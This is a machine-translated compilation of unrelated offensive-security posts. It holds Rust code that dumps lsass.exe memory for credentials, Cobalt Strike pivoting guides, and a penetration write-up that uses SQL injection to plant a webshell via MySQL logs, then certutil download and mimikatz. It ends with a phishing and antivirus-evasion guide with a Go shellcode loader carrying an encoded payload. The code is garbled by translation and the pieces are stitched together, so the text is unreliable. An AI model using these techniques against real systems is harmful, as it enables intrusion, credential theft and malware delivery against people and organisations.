dword dwflags; //予約済み;

char szexefile [max_path]; //完全なプロセス名;

} processentry32;

したがって、Rustによって実装されたコードは次のとおりです

fn getProcess(){

安全でない{

mut handle=createToolHelp32SNAPSHOT(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD、0);

mut process_entry : processentry32=zeroed();

process_entry.dwsize=std:3360mem:size_of:processentry32()as u32;

//mut process_handle=null_mut();

if!handle.is_null(){

process32first(handle、mut process_entry)==1 {

ループ{

extfileName=osstring3:from_wide(process_entry.szexefile.iter()。map(| x | x as u16).take_while(| x | x 0).collect:vecu16()。as_slice()。

println!( '{:} --------- {:}'、extfileName、process_entry.th32processid);

process32next(handle、mut process_entry)==0 {

壊す;

}

}

}

}

}

}

完全なダンプLSASプロセスメモリのコード

STD: {mem: {size_of}、ffi: {cstr、osstring、c_void、osstr}、OS:WINDOWS:PRELUDE3: { asrawhandle、rawhandle、osstrext}、fs:3:file、path: {path、self}};

STD:3360PTRを使用します。

clap:を使用します{app、arg};

log: {error}を使用します。

windows_sys: {win32: {foundation: {

CloseHandle、getLasterRor、invalid_handle_value、handle、luid、

}、security: {token_privileges、luid_and_attributes、se_privilege_enabled、token_adjust_privileges、lookupprivilegevaluea、adcusttokenprivileges}、system333333333:opentoken、診断:TOOLHELP3360:THS_SNAPTHREAD}、Storage:FilesSystem:3:Createfilea}、Core:PCSTR};

Windows_Sys:WIN32:STORAGE:3360FILESSTEM: {

createfilew、create_always、file_attribute_normal、

};

windows_sys:3:win32:system:3360diagnostics:3360debug: {

minidumpwithfullmemory、minidumpwritedump

};

windows_sys:3:win32:system:3360diagnostics:3360toolhelp: {

CreateToolhelp32Snapshot、Process32First、Process32Next、ProcessEntry32、Th32CS_SNApprocess、

};

Windows_Sys:3:WIN32:SESTEST:3360SYSTEMSERVICES:3360GENERIC_ALL;

Windows_Sys:WIN32:SESTESTESTEM:3360THREADING: {openProcess、process_all_access}を使用してください。

fn getPrivilege(ハンドル:ハンドル){

安全でない{

mut h_token: handle=handle:default();

mut h_token_ptr: *mut handle=mut h_token;

let tkp: token_privileges=token_privileges {

PrivileGecount: 1、

特権: [luid_and_attributes {

luid: luid {

LowPart: 0、

highpart: 0、

}、

属性: SE_PRIVILEGE_ENABLED、

}]、

};

//現在のプロセスのアクセストークンを開きます

token=openProcessToken(handle、token_adjust_privileges、h_token_ptr);

token!=0の場合{

let systemname=ptr:3360null_mut();

lookupprivilegevalueaの場合(

SystemName、

b'sedebugprivilege \ 0'.as_ptr()、

mut tkp.privileges [0] .luid)!=0 {

tkp.privileges [0] .attributes=se_privilege_enabled;

//println!( '{:}'、tkp.privileges [0] .attributes);

//現在のプロセスのSedebugprivilege許可を改善します

adcusttokenprivilegesの場合(

h_token、

0、

tkp as *const token_privileges、

0、

ptr:null_mut()、

ptr:null_mut())!=0 {

println!( 'トークン特権が調整された');

} それ以外{

let_error=getLasterRor();

println!( 'AductTokenPrivilegesがERROR:ステータス({:})'、last_error)で失敗しました。

}

} それ以外{

let_error=getLasterRor();

println!( 'lookupprivilegevalueはerror: status({:})'、last_error)で失敗しました。

}

//アクセストークンハンドルを閉じます

CloseHandle(h_token);

} それ以外{

let_error=getLasterRor();

println!( 'openProcessTokenはERROR:ステータスで失敗しました({:})'、last_error);

}

}

}

fn getProcess(lsassfile : str){

安全でない{

mut h_snapshot=createToolHelP32SNAPSHOT(TH32CS_SNAPPROCESS、0);

h_snapshot==invalid_handle_value {

println!( 'createToolhelp32Snapshot'を呼び出さなかった ');

}

mut process_entry: processentry32=std:mem:3360zeroed3:3360processentry32();

process_entry.dwsize=size_of:3360processentry32()as u32;

process32first(h_snapshot、mut process_entry)==0 {

println!( 'process32first error');

}

ループ{

let extfilename=cstr3:from_ptr(process_entry.szexefile.as_ptr()as *const i8).to_bytes();

extfile=osstring3:from_wide(extfilename.iter()。マップ(| x | x as u16).collect:vecu16()。as_slice()。

extfile.starts_with( 'lsass.exe'){

println!( '[+] got {:} pid: {:}'、extfile、process_entry.th32processid);

壊す;

}

process32next(h_snapshot、mut process_entry)==0 {

println!( 'process32next'を呼び出すことに失敗しました);

壊す;

}

}

let lsass_pid=process_entry.th32processid;

let process_handle=openProcess(process_all_access、0、lsass_pid);

process_handle==0の場合{

println!( 'プロセスを開くことができない');

}

let lsassfile=lsassfile;

lsassfile: vecu16=osstr:new(lsassfile).encode_wide()。チェーン(some(0).into_iter())。collect();

let lsasshandle=createfilew(

lsassfile.as_ptr()as *const u16、

generic_all、

0、

ptr:null_mut()、

create_always、

file_attribute_normal、

0、

);

lsasshandle==invalid_handle_value {

println!( 'file {:}'、lsassfile.to_string());

}

rest=minidumpwritedump(

0x01トランスファーマシンがあります

トランスファーマシンがあり、このマシンはネットワークから外れており、これが最も一般的な状況です。

多くの場合、複数のネットワークカードを備えたエッジマシンを取得し、イントラネットマシンはネットワークを離れません。この場合、このエッジマシンを使用して転送してオンラインになります。

トポロジーは、ほぼ次の:です

image-20220516141642261.png

オンライン方法1:SMBビーコン

はじめに

公式ウェブサイトはじめに:SMBビーコンは、親のビーコンを介して通信するために名前付きパイプを使用します。 2つのビーコンが接続されると、子供のビーコンは親のビーコンからタスクを取得し、それを送信します。

接続されたビーコンは通信にパイプという名前のWindowsを使用しているため、このトラフィックはSMBプロトコルにカプセル化されているため、SMBビーコンは比較的隠されており、ファイアウォールを囲むときに奇跡的に機能する可能性があります。

image.png

を使用しています

このビーコンでは、SMBビーコンを持つホストがポート445で接続を受け入れる必要があります。SMBビーコン法を導き出しました。

または、ビーコンでコマンドスポーンSMBを使用します(SMBは私のSMBリスナー名です)

image-20220421232107035.png

プラグインを使用するか、独自のポートでイントラネットマシンをスキャンします

image-20220421234112584.png

表示してターゲットを選択します

image-20220421234143265.png

PSEXECの使用

image-20220421234333884.png

ハッシュを選択し、SMBリスナーと対応するセッションを選択します

image-20220421234419445.png

オンラインになります

image-20220422000337348.png

image-20220422000428622.png

実行が成功した後、キャラクター∞∞は導出されたSMBビーコンである外部で見ることができます。

現在接続されています。LinkIPコマンドを使用してリンクするか、IPコマンドをリンクしてビーコンで切断できます。

image-20220422000410651.png

image-20220422000458483.png

この種のビーコンは、イントラネットの水平浸透に多く使用されています。イントラネット環境では、IPC $によって生成されたSMBビーコンを使用して実行のためにターゲットホストにアップロードできますが、ターゲットホストはオンラインで直接行われません。リンクコマンド(リンクIP)を使用して接続する必要があります。

オンライン方法2:リスナーを転送(逆TCPビーコン)

実際、それはメソッドに似ています

image-20220422000759017.png

以下は自動的に構成されます

image-20220422000840172.png

次に、上記の方法と同様に、イントラネットホストを見つけてアカウントのパスワードを知っていて、水平方向にpsexecを渡すには、トランジットリスナーを選択します

image-20220422001158730.png

image-20220422001452245.png

image-20220422000337348.png

オンライン方法3:HTTPプロキシ

トランジットマシンはオンラインである必要はありません

GoProxy Projectをエージェントとして使用します。プロジェクトアドレス:

https://github.com/snail007/goproxy

プロセス:1。proxy.exeをWebサーバー(エッジホスト)にアップロードし、ポート8080でHTTPプロキシを有効にします

c: \ proxy.exe http -t tcp -p '0.0.0:8080' - daemon

2。NetSHコマンドを使用してトラフィックをリダイレクトして、イントラネットIP 192.168.111.131のポート822にアクセスします(未使用のポートである必要があります。そうでなければ失敗します)

NetshインターフェイスPortProxy Add v4tov4 shisteraddress=192.168.111.131 listenport=822 connectAddress=192.168.1.88 connectport=8080

image-20220516145111513.png

3.リスナーを作成し、次のように構成します

image-20220516163325095.png

4.雄弁なペイロードを生成し、ビジネスサーバーで実行し、オンラインで正常に進む

image-20220516163441748.png

接続プロセス

192.168.111.236→192.168.111.131:822→192.168.1.88:8080→C2(192.168.1.89)

オンライン方法4、TCPビーコン(フォワード)

フォワード接続はSMBビーコンに似ています。親のビーコンサムのビーコンも必要であり、TCPビーコンはコバルトストライクから派生したほとんどのアクションと互換性があります。一部を除いて

明示的なステージャーを必要とするユーザー駆動型の攻撃(たとえば、攻撃→パッケージ、攻撃→Webドライブバイ)。テスト:

TCPビーコンを生成します

image-20220424145301486.png

このビーコンを使用して、トロイの木馬を雄弁に生成します。

image-20220424145438941.png

ターゲットマシンにアップロードして実行します。

image-20220424150129703.png

Connect [IPアドレス] [ポート]コマンドを使用して、トランジットマシンのビーコンに接続してオンラインになります。

image-20220424150307350.png

ビーコンリンクを破壊するには、親または子セッションのコンソールで[IPアドレス] [IPアドレス] [セッションPID]を使用します。その後、同じホスト(または他のホスト)からTCPビーコンに再接続できます。

image-20220424150527311.png

オンライン方法5。Pystingerを使用してプロキシ転送

Pystingerの詳細な使用次の章を参照してください。簡単なデモは次のとおりです。

一般に、Pystingerはこのシナリオでは使用されません

テスト環境:攻撃航空機Kali:192.168.1.35

Webサーバー:192.168.1.70、192.168.111.129

ビジネスサーバー:192.168.111.236

プロセス:1。proxy.phpをWebサーバーWebサイトディレクトリにアップロードし、正常にアクセスするときにUTF-8に戻ります

Webサーバーの外部ネットワークIPは192.168.1.70です

image-20220517181300013.png

stinger_server.exeをアップロードして実行します

Stinger_server.exe 0.0.0.0を開始します

攻撃航空機で実行する(192.168.1.89)

./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000

この時点で、60020ポートオブザWebサーバーは60020 VPSポートに転送されました。

CSの設定を聞くために、HTTPホストはトランジットマシンのイントラネットIPであり、ポートは60020です。

image-20220517181223593.png

psexecを使用して水平に移動し、リスナーをpystingerとして選択するか、ビジネスホストで実行するためにペイロードを直接生成し、ビジネスイントラネットホスト192.168.111.236を正常に起動できます。

image-20220517182051748.png

image-20220517181145075.png

サプリメント:トランスファーマシンはLinux

です

httpプロキシ(トランジットマシンはオンラインである必要はありません)

使用方法は、上記の方法3と同じです。 iptablesを使用して転送するだけです。

Echo 1/proc/sys/net/ipv4/ip_forward

iptables -a Prerouting -P TCP -D 192.168.111.131 - DPORT 822 -J DNAT-滞留192.168.1.88:8080

iptables -a posttrouting -p TCP -D 192.168.1.88 - DPORT 8080 -J SNAT - ソースへ192.168.111.131

テスト:トランスファーマシン(192.168.111.142)

image-20220423214555465.png

攻撃航空機

image-20220423222203087.png

雄弁なペイロードを生成し、ターゲットマシンで実行し、オンラインで正常に進む

image-20220423222359445.png

image-20220423222645751.png

接続プロセス:(再スクリーニングされた画像、ポート変更8080-8081)

image-20220423222847432.png

192.168.111.140→192.168.111.142:8080→192.168.111.142:8081→192.168.111.131:81(C2)(C2)

プロキシ転送にPystingerを使用します

上記の方法5と同様に、Pystinger接続を確立した後、ビジネスホストで実行するためのペイロードを直接生成し、ビジネスイントラネットホスト192.168.111.236を正常に起動できます。

Crossc2

ビーコンは他のマシンを介してLinuxマシンを直接起動できます

image-20220424110511841.png

Crossc2は、LinuxまたはMacOSマシンの起動に使用されます

プロジェクトアドレス:[対応するバージョンを必ずダウンロードしてください]

https://github.com/gloxec/crossc2

構成:

(ここでWindowsでTeamServerを実行しています)

image-20220517214639195.png

HTTPSリスナーを作成します。

image-20220517215034645.png

ペイロードを生成します

(他の方法でも可能です)

image-20220517215228811.png

image-20220424104455547.png

image-20220424104411307.png

生成できない場合は、コマンドラインで直接生成することもできます

image-20220517221232018.png

世代後、Linuxマシンにアップロードし、実行してからオンラインになります。

image-20220517221438333.png

image-20220517221454859.png

CrossC2Kitプラグインをインストールして、ビーコン機能を濃縮します

image-20220517222854932.png

image-20220517222935500.png

イントラネットマシンがCS:リレー付きLinuxマシンで起動された後、上記の方法を使用してイントラネットマシンを起動できます。

TCPビーコン:image-20220517224718810.png

image-20220517224749945.png

ターゲットマシンにアップロードして実行します。

次に、Linuxビーコンの下に接続します。

image-20220517225035484.png

オンラインに行った後、それはブラックボックスになります、チェックインするだけです

上記の2つの方法を使用することをお勧めします。 DNSの

0x02エッジマシンには、ネットワークを出るためのDNSプロトコルのみがあります

このサイトは数ヶ月前から来たため、写真は完成しておらず、それらを補う方法はありません。

私がこの記事を書いていたとき、隣のカップルは拍手し、音は大声で、私は一度心が書かれていませんでした、そして私は少し混乱したかもしれません。また、私たちが安全なときに隣のそのような人々にしばしば出会うのはなぜですか?

既知のターゲットWebサイト

1049983-20231228205024042-1185790497.jpg

顧客は以前にこの種のウェブサイトを提供したことがあるので、私はそれを非常に深く覚えています。この種のWebサイトでは、通常、通常のテストプロセスを直接放棄できます。これは、経験から、Webサイトの主要なWebサイト機能が基本的に脆弱ではないため、サイドステーションからしか開始できないことを示しているためです。

Ctrl+Uは、漏れを見つけることなくJSの波をチェックしました。振り返ってみると、ウェブサイトの右上隅にディスカウントアクティビティホールがあることがわかりました

1049983-20231228205024694-384972596.jpg

ページは開いた後はおなじみのようです

1049983-20231228205025370-542661655.jpg

アクティビティをクリックして、自由にテキストを送信できるように見えました。フィルタリングはありませんでした。私は自信を持ってXSSを入力し、提出しました。しかし、2日が経ち、それは役に立たなかった。私の気分は雲、霧、雨のようでした。

1049983-20231228205026079-996834101.jpg

ただし、以下にレビューの進捗クエリがあることがわかりました。開いた後、ユーザー名を入力するように求められます。ユーザー名を入力したため、データベースに持ち込まれるクエリである必要があります。 「クリッククエリ」を習慣的に追加しました。 10秒が経過し、応答がありませんでした。私は混乱しました。通常および存在しないアカウントテストを入力するとポップアップされますが、単一の引用符を使用したクエリにはまったく応答しません。

F12-Networkでパケットをキャッチしたとき、送信リクエストがあることがわかりました。注入があったことは明らかであり、ページがthinkphpであることがエラーが報告されました。一番下の隅から、バージョンは3.2.3でした。このバージョンは、ポルノからローンプラットフォームまで、HCのお気に入りであり、ほうれん草まで、ThinkPhpのすべてのバージョンです。

1049983-20231228205026757-1898265725.jpg

最初に波を注入してみてください

1049983-20231228205027316-381045247.jpg

SQLMAPは、1つの波で管理者アカウントとパスワードを取得しました。突然、私は背景アドレスがないことに気付き、それを手に入れるのは役に立たなかった。

FOFAは1つの波で実際のIPを取得し、PHPMyAdminサービスがポート999に存在することを発見し、6588にはGuardianとHost MasterというタイトルのASPステーションがあります。ディレクトリブラスト、ポートスキャン、サブドメインマイニング、背景アドレスは見つかりませんでした。

1049983-20231228205027957-1242469807.jpg

OS-Shellは成功しましたが、私が入力したものは何もありませんでした。

SQL-Shellにも同じことが言えます。慎重に観察した後、私はウェブサイトのパスが守護神にインストールされていることを発見しました。

1049983-20231228205028629-561975365.jpg

それは守護神がそれを傍受したのかもしれません。当時、私はこのPHPサイトで衛兵神を使うことが何を意味するのか疑問に思っていました。

10分後にhwshostmasterを見つけるためにバイドゥに行ってから、私がどれほど無知であるかに気づきました。警備員の神は単なるwafではなく、彼はホストマスターと呼ばれる礼拝も持っていて、機能はおそらくphpstudyと同じであることが判明しました。

ローカルインストールを観察すると、ホストマスターがデフォルトでインストールされた後、PHPMyAdminがポート999で開始され、ポート6588がポート6で発売されることがわかりました。

1049983-20231228205029347-347117277.jpg

ターゲットサイトにはphpMyAdminがあるため、SQLMAPを使用して相手のデータベースアカウントとパスワードハッシュを列挙しようとします。

sqlmap –r sql.txt - string='surname' - users - password

SQLMAPはルートとテストを列挙します。ルートパスワードはクラックされていませんが、テストパスワードは1234にクラックされています。ログインに正常に。

1049983-20231228205030057-215667047.jpg

この状況に関しては、Mu Shenの黒と白の日の要約に関する黒と白の日の公式記述には、詳細に書かれた記事があります。 Mu Shenがこの記事を見たら、広告料を支払うように頼んでください。

通常、MySQLデータベース、IntoUoutFile、およびエクスポートログからGetTingshellに2つの方法があります。

注入されたエラーページのファイルアドレスに応じて

1049983-20231228205030723-741784667.jpg

construct statement selece 1 into Outfile 'd:/wwwroot/xxx.com/web/1.txt'エラー#1-ファイルに作成/書き込みできない、許可を持たないでください

1049983-20231228205031295-494446252.jpg

ログの書き込みを使用して、最初にログをオンにしてから、次にログをオンにしてみてください

グローバルgeneral_log_file='d: \\ wwwroot \\ xxx.com \\ web \\ a.php'まだ機能しないようです、私はクラックしました。

1049983-20231228205031948-1438742021.jpg

突然、このwwwrootディレクトリには許可がないので、ガーディアンホストマスターの管理ページはできますか?ローカルにインストールされているホストマスターファイルをめくった後、ホストマスターの管理ページの絶対パスがD: \ hws.com \ hwshostmaster \ host \ webであることを確認できます。

グローバルgeneral_log_file='d: \\ hws.com \\ hwshostmaster \\ host \\ web \\ 1.asp' 'sucededを設定します。

1049983-20231228205032581-565330167.jpg

次に、「%eval request( 'Chopper')%」を選択して、http://xxx.xxx.xxx.xxx:6588/1.ASPエラー404にアクセスします。この問題は長い間困難でした。後で、現在のログファイルにアクセスできるように、ログファイルを他のファイルに置き換える必要があることがわかりました。 CNIFE接続が成功しました

1049983-20231228205033306-373989473.jpg

Whoamiはそれがシステムの許可であることを発見したので、残りは簡単でした。警備員がチェックと殺害を防ぐために、MSFが生成されます。 certutilを介してダウンロードされ、実行されます。 MSFはオンラインで発売され、移行プロセスはloadmimikatzです。 1つのセットの後、リモートアカウントのパスワードを取得し、ズボンを脱いでソースコードを梱包し、顧客に提出しましたが、完了しました。概要:1。メインサイトには抜け穴がありません。サイドステーションでアクションを実行します。ここでは、プロモーションアクティビティの資金調達ホールから、登録ページがあることがわかります。オンラインXSSスクリプトをネストして、管理者Cookie情報を取得することはできますが、Cookie2は取得していません。 Review Progressクエリで、実際のユーザー名を入力して、1回の見積もりを追加します。ページは対応していません。 F12は、ThinkPhpであるページにエラーがあり、バージョンが3.2.33であることを発見しました。 SQLMapを介して注入して、使用するハッシュ値を取得します。ここでは、ルートとテストのハッシュ値を取得します。これにより、テストのハッシュ値を復号化できます。 sqlmap –r sql.txt - -string='surname' - users - password4。 FOFAを介してターゲットWebサイトの対応するIPの他のポートをクエリし、999ビットPHPMYADMINポートと6588ビットエスコートゴッドマネジメントインターフェイスを含むポート999および6588があることを発見しました。 5.テストを通じてphpmyAdminの背景を入力し、注入エラーによって表示されるWebサイトの物理的パスに従って、into intemortメソッドを介してWebShell6に書き込むことができます。最初にWebディレクトリに書き込み、許可がないことを表示します 'd:/wwwroot/xxx.com/web/1.txt'7に1を選択します。ログログをオンにするか、検索するか、General_log_file='d: \\ wwwroot \\ xxx.com \\ web \\ a.php'8を設定します。 wwwrootディレクトリには許可がないため、ガーディアンホストマスター管理ページを使用できますか?ローカルインストールされたホストマスターファイルをめくると、ホストマスターの管理ページの絶対パスがd: \ hws.com \ hwshostmaster \ host \ webであることを確認できます。ログセットGlobal general_log_file='d: \\ hws.com \\ hwshostmaster \\ host \ web \ 1.asp'9を変更してください。次に、[%eval request( 'Chopper')% "を選択します。10。ナイフから正常に接続します

元のテキスト接続から転載: https://mp.weixin.qqc.com/s?__biz=mzg4ntuwmzm1ng==mid=22474860688IDX=2SN=4E32251AAF8C25EFEE653B3314A05A29CHKSM=CFA6A6 7F8D127715B23C7B8403A08CCFAC2E1BFF2AC68030401D54698BCB10CD637A55F7D15SCENE=178CUR_ALBUM_ID=1553386251775492092098#RD

簡単な説明

釣りは、攻撃的および防御的な対立における一般的な方法です。攻撃者は通常、法的機関、企業、個人などの信頼できるエンティティに隠れており、被害者を誘い込んで敏感な情報を明らかにしたり、悪意のある事業を実行したりします。彼らはターゲットの傷をすばやく引き裂き、イントラネットにすばやく入力してポイントをブラシをかけることができます。トロイの木馬を提出するとき、彼らはアンチウイルスソフトウェアの回避を検討する必要があります。この記事では、対立を殺すことを避けるために、いくつかの一般的なフィッシング方法とトロイの木馬に焦点を当てます。

情報収集

バッチメールボックスコレクション

https://APP.SNOV.IO/

http://www.skymem.info/

検索エンジン

一般的に、企業の電子メールには電子メールゲートウェイがあり、電子メール配信は払い戻しによって簡単にブロックされるため、メールサーバーによってブロックされていないプライベートメールまたは電子メールを選択する必要があります。

XXで報告されているように、XX募集は一般の電子メールアドレス、関連する構文に直面しています。

site:'xxx.com 'レポート

site:'xxx.com '募集

XX Company Report @126.com

XX Company Recruitment @QQ.com

image-20231103173433363

釣り技術

ソーシャルワーカー釣り

最初はターゲット選択です。ターゲットグループ:HR、マネージャー、財務、および安全性の認識が弱い他の人々が望ましい。それらに対処するために、事前に複数のシナリオセットを準備します。

高い成功率で釣りのためにターゲット企業支店を選択します。発見されないように、言葉と応答の測定について事前に考えてください。本部にいないことをお勧めし、IT情報セキュリティ部門を避けることが最善です。

Sheniuのマスターは、電話で釣りをして信頼を獲得し、WeChatを追加してTrojan Horsesを送ることができます(並外れた心理的資質と適応性が必要です。

メールフィッシング

マスメール(推奨されない、管理者が簡単に発見するか、電子メールゲートウェイでインターセプトされます)

主要な個人用メールアドレスを収集して、方向配信を配信します(推奨され、高度に隠されています)

福祉補助金の発行

現在の問題に従って、さまざまな福祉活動を使用してターゲットユーザーを引き付けてクリックし、フィッシングリンクをQRコードに変換して送信します

image-20231104103425528

image-20230922182918302

履歴書配達

募集と配達履歴書、HRは、多数の履歴書に面しているときにサフィックスを注意深く確認しません

image-20231104105527137

釣りのコピーを書くことができませんか?それは問題ではありません。自動的に生成できる場合は、手作業で使用しないでください。これがChatGptの兄弟のための鶏の脚です

image-20231103155359779

レポートレター

XXX Real-Nameのレポートと苦情、この種の電子メールは通常処理され、すぐにフィードバックされます

ryp4e4iibef2450.png

ファイニングファイル変装

一般的なヒント

トロイの木馬は、圧縮、パスワードを追加してコンテンツを非表示にする必要があります。

珍しいサフィックスを選択しますが、SCR、COMなどのEXEとして実行できます。

ファイル名の名前は長いです。他のファイルが正しく表示されない場合、プレビュー中に接尾辞が表示されません。

lnk釣り

ターゲットユニットが360 TIANQINGを使用していないことがわかっている場合は、LNKファイルをフィッシングに使用できます(360はインターセプトします)

ショートカットのターゲット位置に記入してください:

%windir%\ system32 \ cmd.exe /c start。\ .__ macos __ \ .__ macos __ \ .__ macos __ \ .__ macos __ \ .__ macos1 __ \ xxx.doc amp; amp; amp; c: \ windows \ explorer.exe '。\ .__ macos __ \ .__ macos __ \ .__ macos1 __ \ fsx.exe'

img

アイコンの変更パスの選択:

C: \\プログラムファイル(x86)\\ microsoft \\ edge \\アプリケーション

%SystemRoot%\\ System32 \\ imageres.dll

%SystemRoot%\\ System32 \\ shell32.dll

image.png

ボックスエラーのヒント

msgboxを実行して「ファイルが破損している」およびその他の混乱するコンテンツをプロンプトします

VBS実装

エラーの再開時に次に再開します

wscript.sleep 2000

msgbox '現在のファイルが破損しているので、ツールを変更して開く 』、64、' tip '

コード実装に移動します

パッケージメイン

輸入(

'github.com/gen2brain/dlgs'

))

func box(){

_、err :=dlgs.info( 'tip'、 '現在のファイルが破損している、開くツールを変更してください')

err!=nil {

パニック(err)

}

}

効果を実現します

image-20231103170505169

ファイルバンドラー

通常のファイルと悪意のあるトロイの木馬にバインドします。実行後、exe自体が削除され、通常のファイルが現在のディレクトリにリリースされ、開かれ、トロイの木馬はC: \ uses \ public \ videosディレクトリの下で実行されるようにリリースされます。

バージョン1.1通常のソフトキル(360、def、タートルなど)バイパス

バージョン1.2追加されたファイルがリリースされた後に自動的に非表示

image-20231103113848878

効果の実現

image-20231104115308737

一般的なソフトキル型タイプ

ソフトキリングタイプのソフトキリング機能ターコイズ

コンピレーションパラメーターには多くの制限があり、ハッシュと文字列の機能が認識されています。静的は動的に実行できます。基本的に検出されて殺されません。一部のGOライブラリは、毒を報告するために呼び出されます。

360

単一の360チェックは高くありません。アンチウイルスを設置した後、あなたの息子は父親になります。殺害力は大幅に改善されています。アンチウイルスは自動的にサンプルをアップロードします。クラウドがしばらくリリースされた後、簡単に検出して殺すことができます。個別の荷重方法を使用し、馬の時間を延長するためにアンチサンドボックスコードを使用することをお勧めします。

360コアクリスタル

オープニング後、全体的な殺害パフォーマンスに大きな影響はありません。プロセスインジェクションを使用してシェルコードのロードを避けてください。コマンドを実行して、BOFプラグインを交換用に使用します。

ディフェンダー

Cobaltstrikeルールを追加しましたが、ステージレスを使用することをお勧めします。これはステージよりも優れています。 Sleep_Maskパラメーターはバージョン4.5で有効になり、殺害能力が向上し、大きなファイルの検出率は高くありません。

基本的な負荷方法

以下は基本的な例であり、暗号化、復号化、負荷の機能を実装するだけです。

最初にPythonスクリプトを使用して、payload.cファイルを暗号化します

base64をインポートします

OriginalShellCode=b '\ xfc \ xe8 \ x89 \ x00'

encryptedShellCode=bytes([byte ^0xff for riginalshellcode]))

encodedShellCode=base64.B64Encode(encryptedShellCode).Decode( 'utf-8')

print(encodedshellcode)

image-20231104111224020

コンパイルする出力コンテンツの暗号化されたシェルコードを入力します

パッケージメイン

輸入(

「エンコード/base64」

「syscall」

「安全でない」

'github.com/lxn/win'

'golang.org/x/sys/windows'

))

func main(){

//base64およびxorを介してシェルコードコンテンツを復号化します

win.showwindow(win.getConsoleWindow()、win.sw_hide)

暗号化されたシェルコード:='IZ/0K4EFV3D3DZYMNICLJIE/RQUSP/WLFZ/8JW8 //CVXP/WFJZ94WD09OKA+P0A320SWC3VVZA2VNO 2DRAVMIU2JJ/8JVF8NUS/DQCR9G9VFHUCBFZ3/3D3DZ/YTWMQP3ANJ/W/BZP8N1C+DQEUIT+IVJB8Q/8/8/DQE6RR4/RRFBNRA+EJZ2TK+XAOY7DDTTFZJOPGKVLZP8N1M+DQCRNVX7PZP8N2S+DQC2/HP/P3ANNI82 lykultyvni42lt/0m1c2jyixlzyult/8zz44iiikh13pskahhkegriddzyhpv6ro/6gns07affwiki/r R4/rqu6rrc6rr42jzynns1niq7qikke5hd3d3d3d3d3d3d3c6rr42jjymhhhhhhhhhhhhhhjbnip7osyiina4sp /62P0ALPV6VOKA+JR93RBFZJSU2ZZWIWUYIOJ/+ST/0TCCDFSG //OBNAHD3DX13H/DED3C+/PC2ZNN3D3 c2zqix6fgioj/+hj/+rt6wt4iiiig6rr4ljtbnwnfvdiii8rd48up2d3c/ilh48/t2d3ecxj6tdnd3n/w IIIHYBAMWAX4UWB0EWB0GAHIFDLPEWURZRVKEGX4AWROEGVKDBHDHI6T+16T+1FOVAU170U01IYZBPFAY Y1/2AR3+CTAXWG13PLFZUVYPDJEADYEEGVANHASGQNNVZOYDR4BGXZYQLLHV18GHHKTGAAETFCITFCG HHKTGAAEVZKJV0JZRKXXEHLAIIRMVWUBTUZZQFLCXLCWEHQCGFHFR0DDRKZHQFCXHGUSERGPWEZZR1DFF G9EEN138A3JHF8SUTLPTSAKGLHPCZEFAWU1GBBWMBCC5SPMVMVYH80FQMODP2ALXGMYPFSNWG7SVEI0OY byhaggyf4i4kottoz1mqel3bv8empa2kc6kl9yo3xp4ukic3tfp ++ yrqp8gydc1aq3kbknstnkpu3rsj ovxltad3jo3ibml+cbpdbioubhepdlxtvlhd+oz/ndxswjf1y7hgk70678/6spezl2vdgaufa17kfdb ouq6cq9oldou5gfzp42aycsmoqmwd8xnc2yyfc1sgioj9gvs13dzd3ns93z3d3ns43d3d3ns0v0yssiki /5CQKP/6QP/6GP/6TNS93V3D3PV6ONS1L4F6VIKI/9LNX8RCDWRH8CD92TPK3AQAVLY8/CND3D3D3CNTJ8I IOIIBBIFAR4UELOSAXMVQEMZEVPGREDAQEDHT0ZPWQQFWRYHHHAAWQMSGRQSGQMUBFKUGBP3COKWDW=='

decodedshellcode、_ :=base64.stdencoding.decodestring(encryptedshellcode)

i :=0;私はlt; len(decodedshellcode); i ++ {

decodedshellcode [i] ^=0x77

}

//kernel32.dllでvirtualAlloc関数を取得します

kernel32、_ :=syscall.loaddll( 'kernel32.dll')

virtualAlloc、_ :=kernel32.findproc( 'virtualAlloc')

//メモリを割り当て、シェルコードコンテンツを書き込みます

allocsize :=uintptr(len(decodedshellcode))

mem、_、_ :=virtualAlloc.call(uintptr(0)、allocsize、windows.mem_commit | windows.mem_reserve、windows.page_execute_readwrite)

mem==0の場合{

パニック( 'VirtualAlloc Failed')

}

バッファ:=(*[0x1_000_000] byte)(unsafe.pointer(mem))[:allocsize:allocsize]

コピー(バッファ、デコードシェルコード)

//シェルコードを実行します

syscall.syscall(mem、0、0、0、0)

}

ユニバーサルソフトキルスキル

リモートロードまたはファイル分離の読み込みが推奨されますが、いくつかの欠点もあります。前者はセキュリティデバイスによって追跡またはブロックされる場合があり、後者は2つのファイルが権利保護により適していることを要求しています。

ガベージコードの充填、シェルコードをロードする前に無害な操作を実行し、サンドボックスとソフトキル入力判断を妨害し、実行した遅延またはプログラムのボリュームを増やして検出をバイパスします。

ニッチ言語を選択して、ローダー機能を作成および作成します。 CSに加えて、ツールはVSHELLやその他の自己執筆C2を使用することもできます。

殺しないで一つのクリック生成

私は恥知らずで、githubプロジェクトを推奨するためにアムウェイに来ます。 ahem、それが大丈夫だと思うなら、あなたは星をクリックすることができます

殺されていないマスター・ワン・チャオの傑作は、悪魔攻撃3https://github.com/wangfly-me/loaderflyによって変更されました

サウザンドマシン - レッドチームトロイの木馬無料殺人馬はhttps://github.com/pizz33/qianjiを自動的に生成します

コンパイルパラメーターの影響

GO:

- レースレース検出コンピレーション

-ldflags '-s -w'コンパイル情報を削除します

-ldflags '-h Windowsgui'ウィンドウを非表示にします

Garble(難解ライブラリ):

- 追加の情報を削除します

- 文学的混乱テキスト

-seed=base64によってエンコードされたランダムランダムシード

たとえば、無害なコードをコンパイルする場合、文字パラメーターを使用します。 360は引き続き毒を報告します。追加しないと、毒を報告しません。

パッケージメイン

func main(){

//乗算する2つの数字

num1 :=5

Num2 :=3

結果:=0

//ループにはAを使用して乗算を実行します

i :=0;私はlt; num2; i ++ {

結果+=num1

}

}

image-20231103142821152

-h Windows GUIパラメーターは、免除に大きな影響を与えます。ブラックボックスを非表示にする必要がある場合は、次のコードを使用してそれを置き換えることができます(ただし、Win11にはまだブラックボックスがあります)

パッケージメイン

'github.com/lxn/win'をインポート

func main(){

win.showwindow(win.getConsoleWindow()、win.sw_hide)

}

func box()int {

FreeConsolle :=syscall.newlazydll( 'kernel32.dll')。newproc( 'freeconsole')

freeconsole.call()

0を返します

}

func main(){

箱()

静的機能処理

obfusal

GO LOWバージョン3https://GITHUB.com/boy-hack/go-strip

